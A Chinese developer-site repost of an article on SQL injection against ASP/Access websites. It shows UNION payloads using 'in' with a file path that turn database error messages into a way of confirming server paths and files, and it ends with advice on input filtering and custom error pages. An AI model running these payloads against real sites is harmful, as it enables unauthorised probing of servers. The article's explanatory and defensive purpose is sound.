热门标签 | HotTags
当前位置:  开发笔记 > 数据库 > 正文

安全警报:针对Access漏洞又一发现

如今SQLinjection可谓是火爆,诸多新的Injection方式被挖掘出来。利用系统错误来爆路径,更是热门话题,今天我也凑个热闹。本例测试适用于ACCESS(由于MSSQL查询不存在指定路径),ACEESS存在一个可以把源数据库的表导入到目标数据库中。如:mysource.md

如今SQL injection可谓是火爆,诸多新的Injection方式被挖掘出来。利用系统错误来爆路径,更是热门话题,今天我也凑个热闹。 本例测试适用于ACCESS(由于MS SQL查询不存在指定路径),ACEESS存在一个可以把源数据库的表导入到目标数据库中。 如: mysource.md

如今SQL injection可谓是火爆,诸多新的Injection方式被挖掘出来。利用系统错误来爆路径,更是热门话题,今天我也凑个热闹。

本例测试适用于ACCESS(由于MS SQL查询不存在指定路径),ACEESS存在一个可以把源数据库的表导入到目标数据库中。

如: mysource.mdb(admin表) ―〉mydestion.mdb中

如果要在一个已经存在的外部数据库里创建新的工作表,你可以用IN关键字。如果外部数据库不存在或是数据表已存在的话,SELECT INTO 语句将会返回一个错误信息。

SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers。

左右推揣是不是能用子查询功能应用把它变成:

一般有漏洞语句,如select * from news where id="&request("id"),存在注射的。以下的演示就用一套使用select * from news whre id=”&request(“id”)来作测试。为了方便,直接转换为SQL执行时的状态:

select * from news where id=3 and SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers

经测试是不能在子查询实现导表的功能的。这条路又被档住了。突然之间想到了UNION,合并操作符,看看是否能用它。

注:The UNION operator(适用ACCEESS)

虽然UNION 的操作也可以视为一个合并查询,但我们不可以技术性地把它看作是一个联接,它之所以被提到是因为它能把从多个来源获得的数据合成一个结果表单中,而这一点和某些类型的联接是类似的。UNION 操作一般被用来把来自表单、SELECT语句或查询的数据结合,并省略掉任何重复的行。所有的数据源必须有相同数目的域,不过这些域不一定要是相同的数据类型。让我们假设我们有一个雇员表单,其中具有和顾客工作表单相同的结构,那么我们希望合并这两个工作表得到一个姓名和电子邮件地址信息的列表。

SELECT [Last Name], [First Name], Email FROM tblCustomers UNION SELECT [Last Name], [First Name], Email FROM tblEmployees

UNION操作不会显示任何在两个表单中重复出现的记录。利用UNION 的查询语句一定要与UNION前的查询语句字段列相等,如:

select id,title from news where id=3 UNION select * from admin

查询的字段不等,返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 在联合查询中所选定的两个数据表或查询中的列数不匹配。

查询语句可用避过: select id,title from news where id=3 UNION select 1,1 from admin 只要放入的1的个数与字段相等,也可实现查询。

看看是否能够把语句变成:

select * from news where id=3 Union SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 动作查询不能作为行的来源。

结果,还是失败的。因为UNION只适用查询结合。UNION后面不能跟动作。可能这条路走不通了,想想还是不甘心。

试着用:

se

lect * from news where id=3 Union select * from admin.c

返回:

Microsoft JET Database Engine 错误 '80004005' 找不到文件 'C:\WINNT\system32\admin.mdb'。

这证明和用select * from news where id=3 and 0<>(select count(*) from admin.c)是一样可以成功测试路径的。但是想想用这种方法ACCESS始终默认检测后缀MDB,虽然用以上有办法避过。便是过于麻烦。

于是我在想是不是用其他的方法可以更简单的实现,回头想起了刚才SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers。IN关键字不是可以指向路径文件名吗?是否可以把它归为已用。

接着测试:

select * from news where id=3 union select * from admin in 'c:\Customers.mdb'

系统提示:

Microsoft JET Database Engine 错误 '80004005' 找不到文件 'c:\Customers.mdb'。

使用:

select * from news where id=3 union select * from admin in 'c:\winnt\system32\cmd.exe'

系统提示:

Microsoft JET Database Engine 错误 '80004005' Microsoft Jet 数据库引擎打不开文件'c:\winnt\system32\CMD.EXE'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。

这种方式的实现比起用 and 0<>(select count(*) from admin)查询的结来得更为简明了,而且猜测的是MDB后缀的文件,猜测的路径和文件名正确的,信息会正常显示。但如果是猜测非MDB的文件则是这样的:

执行:

select * from news where id=3 union select * from admin in 'e:\www\include\connect.asp'

返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 不可识别的数据库格式 'e:\www\include\connect.asp'

证明所猜测的路径和文件是正确的。

后话,由于ACCESS本身的缺陷,至使SQL INJECTION的方式层出不穷。但很大一方面是由于程序员在书写程序的时候,不注意防范,防弊大意。针对有传值的SQL语进行详细的过滤,起码也是阻挡SQL INJECTION的一道门,ACCESS本身的缺陷解使,很多法语洞防不胜防,建议服务器出错信息,创建一个自己的WEB信息出错面面,服务器出错就出现那页面。这样一来就没有参考的出错信息了,仅于些文当作参考。


推荐阅读
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 本文详细介绍了云服务器API接口的概念和作用,以及如何使用API接口管理云上资源和开发应用程序。通过创建实例API、调整实例配置API、关闭实例API和退还实例API等功能,可以实现云服务器的创建、配置修改和销毁等操作。对于想要学习云服务器API接口的人来说,本文提供了详细的入门指南和使用方法。如果想进一步了解相关知识或阅读更多相关文章,请关注编程笔记行业资讯频道。 ... [详细]
  • 如何用UE4制作2D游戏文档——计算篇
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了如何用UE4制作2D游戏文档——计算篇相关的知识,希望对你有一定的参考价值。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • 在Kubernetes上部署JupyterHub的步骤和实验依赖
    本文介绍了在Kubernetes上部署JupyterHub的步骤和实验所需的依赖,包括安装Docker和K8s,使用kubeadm进行安装,以及更新下载的镜像等。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 本文介绍了在Mac上安装Xamarin并使用Windows上的VS开发iOS app的方法,包括所需的安装环境和软件,以及使用Xamarin.iOS进行开发的步骤。通过这种方法,即使没有Mac或者安装苹果系统,程序员们也能轻松开发iOS app。 ... [详细]
  • 如何在跨函数中使用内存?
    本文介绍了在跨函数中使用内存的方法,包括使用指针变量、动态分配内存和静态分配内存的区别。通过示例代码说明了如何正确地在不同函数中使用内存,并提醒程序员在使用动态分配内存时要手动释放内存,以防止内存泄漏。 ... [详细]
  • 本文介绍了自动化测试专家Elfriede Dustin在2008年的文章中讨论了自动化测试项目失败的原因。同时,引用了IDT在2007年进行的一次软件自动化测试的研究调查结果,调查显示很多公司认为自动化测试很有用,但很少有公司成功实施。调查结果表明,缺乏资源是导致自动化测试失败的主要原因,其中37%的人认为缺乏时间。 ... [详细]
  • 2022年的风口:你看不起的行业,真的很挣钱!
    本文介绍了2022年的风口,探讨了一份稳定的副业收入对于普通人增加收入的重要性,以及如何抓住风口来实现赚钱的目标。文章指出,拼命工作并不一定能让人有钱,而是需要顺应时代的方向。 ... [详细]
  • 从高级程序员到CTO的4次能力跃迁!如何选择适合的技术负责人?
    本文讲解了从高级程序员到CTO的4次能力跃迁,以及如何选择适合的技术负责人。在初创期、发展期、成熟期的每个阶段,创业公司需要不同级别的技术负责人来实现复杂功能、解决技术难题、提高交付效率和质量。高级程序员的职责是实现复杂功能、编写核心代码、处理线上bug、解决技术难题。而技术经理则需要提高交付效率和质量。 ... [详细]
author-avatar
遇见你_天意_384
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有